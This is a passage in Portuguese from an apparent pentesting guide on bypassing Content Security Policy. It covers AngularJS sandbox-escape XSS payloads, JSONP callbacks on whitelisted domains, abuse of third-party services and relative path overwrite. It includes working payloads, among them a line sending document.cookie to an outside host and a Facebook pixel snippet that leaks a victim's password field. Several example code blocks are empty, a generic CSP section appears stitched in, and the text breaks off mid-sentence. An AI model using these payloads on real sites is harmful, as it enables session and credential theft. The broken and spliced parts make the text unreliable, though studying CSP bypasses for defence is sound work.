{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
```
### Pontos de Terceiros + JSONP
#### Introdução
Quando um site implementa uma Política de Segurança de Conteúdo (CSP), ele geralmente restringe quais recursos externos podem ser carregados. Isso é feito para mitigar ataques de injetar código malicioso em um site por meio de recursos externos não confiáveis.
No entanto, em alguns casos, é possível contornar a CSP usando pontos de terceiros e JSONP (JSON with Padding). JSONP é uma técnica que permite solicitar recursos de um domínio diferente, contornando a política de mesma origem.
#### Como funciona o JSONP?
O JSONP funciona injetando um script no documento HTML que faz uma solicitação para um ponto de terceiros. O servidor do ponto de terceiros retorna uma resposta que é encapsulada em uma função JavaScript definida pelo cliente. Essa função é então executada no contexto do documento HTML, permitindo que os dados sejam acessados.
#### Bypassing CSP com JSONP
Ao usar JSONP, é possível contornar a CSP, pois a política de mesma origem não se aplica a solicitações feitas por meio de scripts. Isso significa que, mesmo que a CSP restrinja o carregamento de recursos externos, é possível fazer solicitações para pontos de terceiros usando JSONP.
Para explorar essa vulnerabilidade, um atacante pode criar um ponto de terceiros malicioso que retorna dados sensíveis. Em seguida, eles podem injetar um script no site alvo que faz uma solicitação para o ponto de terceiros malicioso usando JSONP. Dessa forma, o atacante pode contornar a CSP e obter acesso aos dados sensíveis.
#### Mitigação
Para mitigar esse tipo de ataque, é importante implementar uma CSP adequada que restrinja o uso de JSONP e pontos de terceiros. Além disso, é recomendável evitar o uso de JSONP sempre que possível, pois essa técnica pode introduzir vulnerabilidades de segurança.
#### Conclusão
Embora a CSP seja uma medida eficaz para proteger um site contra ataques de injeção de código, é importante estar ciente das possíveis vulnerabilidades que podem surgir ao usar pontos de terceiros e JSONP. Ao implementar uma CSP adequada e evitar o uso de JSONP, é possível reduzir significativamente o risco de contornar a política de segurança de conteúdo.
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Cenários como este, onde `script-src` é definido como `self` e um domínio específico que está na lista de permissões, podem ser contornados usando JSONP. Os pontos de extremidade JSONP permitem métodos de retorno de chamada inseguros, o que permite que um atacante execute XSS. Payload de trabalho:
```markup
">
">
```
```html
https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém pontos de extremidade JSONP prontos para uso para contornar a CSP de diferentes sites.**
A mesma vulnerabilidade ocorrerá se o **ponto de extremidade confiável contiver um redirecionamento aberto**, porque se o ponto de extremidade inicial for confiável, os redirecionamentos também serão confiáveis.
### Abusos de Terceiros
Conforme descrito no [post seguinte](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar na CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
| Entidade | Domínio Permitido | Capacidades |
|--------|----------------|--------------|
| Facebook | www.facebook.com, *.facebook.com | Exfil |
| Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
| Amazon AWS | *.amazonaws.com | Exfil, Exec |
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
| Google Firebase | *.firebaseapp.com | Exfil, Exec |
Se você encontrar algum dos domínios permitidos na CSP do seu alvo, há chances de que você possa contornar a CSP registrando-se no serviço de terceiros e, assim, exfiltrar dados para esse serviço ou executar código.
Por exemplo, se você encontrar a seguinte CSP:
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
# Bypassando a Política de Segurança de Conteúdo (CSP)
A Política de Segurança de Conteúdo (CSP) é uma camada adicional de segurança implementada pelos navegadores para proteger os usuários contra ataques de injeção de código, como XSS (Cross-Site Scripting). No entanto, existem técnicas que podem ser usadas para contornar essa política e explorar vulnerabilidades em um aplicativo da web.
## Introdução
A CSP permite que os desenvolvedores restrinjam quais recursos externos (como scripts, estilos e imagens) podem ser carregados em uma página da web. Isso é feito por meio de uma política de segurança definida no cabeçalho HTTP `Content-Security-Policy`. No entanto, se essa política não for configurada corretamente, um invasor pode encontrar maneiras de contorná-la e executar código malicioso no contexto do aplicativo da web.
## Bypassando a CSP
Existem várias técnicas que podem ser usadas para contornar a CSP e explorar vulnerabilidades em um aplicativo da web. Algumas dessas técnicas incluem:
### 1. Inline Script Execution
Se a CSP permitir a execução de scripts inline, um invasor pode explorar essa permissão injetando código malicioso diretamente no HTML da página. Isso pode ser feito usando técnicas como XSS ou manipulação de eventos.
Exemplo:
```html
```
### 2. Data URI
Os Data URIs permitem que os dados sejam incorporados diretamente em uma URL. Se a CSP permitir o uso de Data URIs, um invasor pode explorar essa permissão injetando código malicioso em uma imagem ou outro recurso externo.
Exemplo:
```html
```
### 3. External Resource Injection
Se a CSP permitir a inclusão de recursos externos, um invasor pode explorar essa permissão injetando um link para um recurso malicioso. Isso pode ser feito, por exemplo, através da inclusão de um script externo hospedado em um servidor controlado pelo invasor.
Exemplo:
```html
```
## Conclusão
A CSP é uma medida de segurança importante para proteger os aplicativos da web contra ataques de injeção de código. No entanto, é essencial configurá-la corretamente para evitar possíveis contornos e vulnerabilidades. Os desenvolvedores devem estar cientes das técnicas de contorno da CSP e implementar as melhores práticas de segurança para garantir a proteção adequada de seus aplicativos.
```
Content-Security-Policy: connect-src www.facebook.com;
```
Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com o [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estas etapas gerais:
1. Crie uma conta de desenvolvedor no Facebook aqui.
1. Crie um novo aplicativo "Facebook Login" e selecione "Website".
1. Vá para "Configurações -> Básico" e obtenha seu "ID do aplicativo".
1. No site alvo do qual você deseja exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget "fbq" do SDK do Facebook por meio de um "customEvent" e a carga de dados.
1. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (observe que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events_manager2/list/pixel/[id-do-aplicativo]/test_events).
1. Selecione a guia "Eventos de Teste" para ver os eventos sendo enviados pelo site "seu".
Em seguida, no lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o ID do aplicativo do desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte a [postagem anterior](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) para obter explicações adicionais sobre outros abusos de terceiros.
### Bypass via RPO (Sobrescrita de Caminho Relativo)
Além da redireção mencionada anteriormente para contornar restrições de caminho, existe outra técnica chamada Sobrescrita de Caminho Relativo (RPO) que pode ser usada em alguns servidores.
Por exemplo, se o CSP permite o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
```html
```
O navegador acabará carregando `https://example.com/scripts/angular/angular.js`.
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, o que está em conformidade com a CSP.
No entanto, para certos servidores, ao receber a solicitação, eles irão decodificá-la, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.
Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
A solução é não tratar `%2f` como `/` no lado do servidor, garantindo uma interpretação consistente entre o navegador e o servidor para evitar esse problema.
Exemplo online: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Execução de JS em iframes
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### **base-uri** ausente
Se a diretiva **base-uri** estiver ausente, você pode abusar dela para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/).
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `
ng-app"ng-csp ng-click=$event.view.alert(1337)>